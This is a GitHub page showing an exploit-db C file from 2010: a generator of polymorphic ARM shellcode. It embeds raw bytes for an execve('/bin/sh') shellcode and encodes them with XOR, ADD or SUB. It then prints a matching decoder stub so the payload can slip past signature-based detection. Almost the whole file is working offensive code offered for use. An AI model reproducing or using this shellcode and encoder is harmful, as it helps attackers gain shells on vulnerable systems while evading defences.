forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path14261.c
More file actions
executable file
·143 lines (116 loc) · 4.62 KB
/
Copy path14261.c
File metadata and controls
executable file
·143 lines (116 loc) · 4.62 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
/*
Title: Generator polymorphic shellcode on ARM architecture
Date: 2010-07-07
Tested on: ARM926EJ-S rev 5 (v5l)
Author: Jonathan Salwan
Web: http://shell-storm.org | http://twitter.com/jonathansalwan
! Database of shellcodes http://www.shell-storm.org/shellcode/
Credit
======
This code generates a shellcode polymorphic execve("/bin/sh", ["/bin/sh"], NULL)
on ARM architecture.
You can encode your shellcode with XOR, ADD, SUB
*/
#include <stdio.h>
#include <stdio.h>
/* execve("/bin/sh", ["/bin/sh"], NULL); */
unsigned char your_SC[] = "\x01\x30\x8f\xe2"
"\x13\xff\x2f\xe1"
"\x78\x46\x0a\x30"
"\x01\x90\x01\xa9"
"\x92\x1a\x0b\x27"
"\x01\xdf\x2f\x2f"
"\x62\x69\x6e\x2f"
"\x73\x68";
void syntax(void)
{
fprintf(stdout,"\nSyntax: ./encode <type> <value>\n\n");
fprintf(stdout,"Type: -xor\n");
fprintf(stdout," -add\n");
fprintf(stdout," -sub\n\n");
fprintf(stdout,"Exemple: ./encode -xor 20\n\n");
exit(1);
}
int main(int argc, char *argv[])
{
if(argc != 3){
syntax();
return 1;
}
if(!strcmp(argv[1], "-xor"))
{
fprintf(stdout,"Encode : XOR %s\n", argv[2]);
fprintf(stdout,"Encoded: \n");
int num = (256-strlen(your_SC))+1;
int num2 = num + 1;
fprintf(stdout, "\\x24\\x60\\x8f\\xe2"
"\\x16\\xff\\x2f\\xe1"
"\\x%.2x\\x40\\xa0\\xe3"
"\\x01\\x0c\\x54\\xe3"
"\\x1e\\xff\\x2f\\x81"
"\\x%.2x\\x40\\x44\\xe2"
"\\x04\\x50\\xde\\xe7"
"\\x%.2x\\x50\\x25\\xe2"
"\\x04\\x50\\xce\\xe7"
"\\x%.2x\\x40\\x84\\xe2"
"\\xf7\\xff\\xff\\xea"
"\\xf5\\xff\\xff\\xeb"
,num, num, atoi(argv[2]), num2);
for (int i=0;i<sizeof(your_SC)-1;i++){
your_SC[i] = your_SC[i]^atoi(argv[2]);
fprintf(stdout,"\\x%.2x", your_SC[i]);
}
fprintf(stdout,"\n");
}
if(!strcmp(argv[1], "-add"))
{
fprintf(stdout,"Encode : ADD %s\n", argv[2]);
fprintf(stdout,"Encoded: \n");
int num = (256-strlen(your_SC))+1;
int num2 = num + 1;
fprintf(stdout, "\\x24\\x60\\x8f\\xe2"
"\\x16\\xff\\x2f\\xe1"
"\\x%.2x\\x40\\xa0\\xe3"
"\\x01\\x0c\\x54\\xe3"
"\\x1e\\xff\\x2f\\x81"
"\\x%.2x\\x40\\x44\\xe2"
"\\x04\\x50\\xde\\xe7"
"\\x%.2x\\x50\\x45\\xe2"
"\\x04\\x50\\xce\\xe7"
"\\x%.2x\\x40\\x84\\xe2"
"\\xf7\\xff\\xff\\xea"
"\\xf5\\xff\\xff\\xeb"
,num, num, atoi(argv[2]), num2);
for (int i=0;i<sizeof(your_SC)-1;i++){
your_SC[i] = your_SC[i]+atoi(argv[2]);
fprintf(stdout,"\\x%.2x", your_SC[i]);
}
fprintf(stdout,"\n");
}
if(!strcmp(argv[1], "-sub"))
{
fprintf(stdout,"Encode : SUB %s\n", argv[2]);
fprintf(stdout,"Encoded: \n");
int num = (256-strlen(your_SC))+1;
int num2 = num + 1;
fprintf(stdout, "\\x24\\x60\\x8f\\xe2"
"\\x16\\xff\\x2f\\xe1"
"\\x%.2x\\x40\\xa0\\xe3"
"\\x01\\x0c\\x54\\xe3"
"\\x1e\\xff\\x2f\\x81"
"\\x%.2x\\x40\\x44\\xe2"
"\\x04\\x50\\xde\\xe7"
"\\x%.2x\\x50\\x85\\xe2"
"\\x04\\x50\\xce\\xe7"
"\\x%.2x\\x40\\x84\\xe2"
"\\xf7\\xff\\xff\\xea"
"\\xf5\\xff\\xff\\xeb"
,num, num, atoi(argv[2]), num2);
for (int i=0;i<sizeof(your_SC)-1;i++){
your_SC[i] = your_SC[i]-atoi(argv[2]);
fprintf(stdout,"\\x%.2x", your_SC[i]);
}
fprintf(stdout,"\n");
}
return 0;
}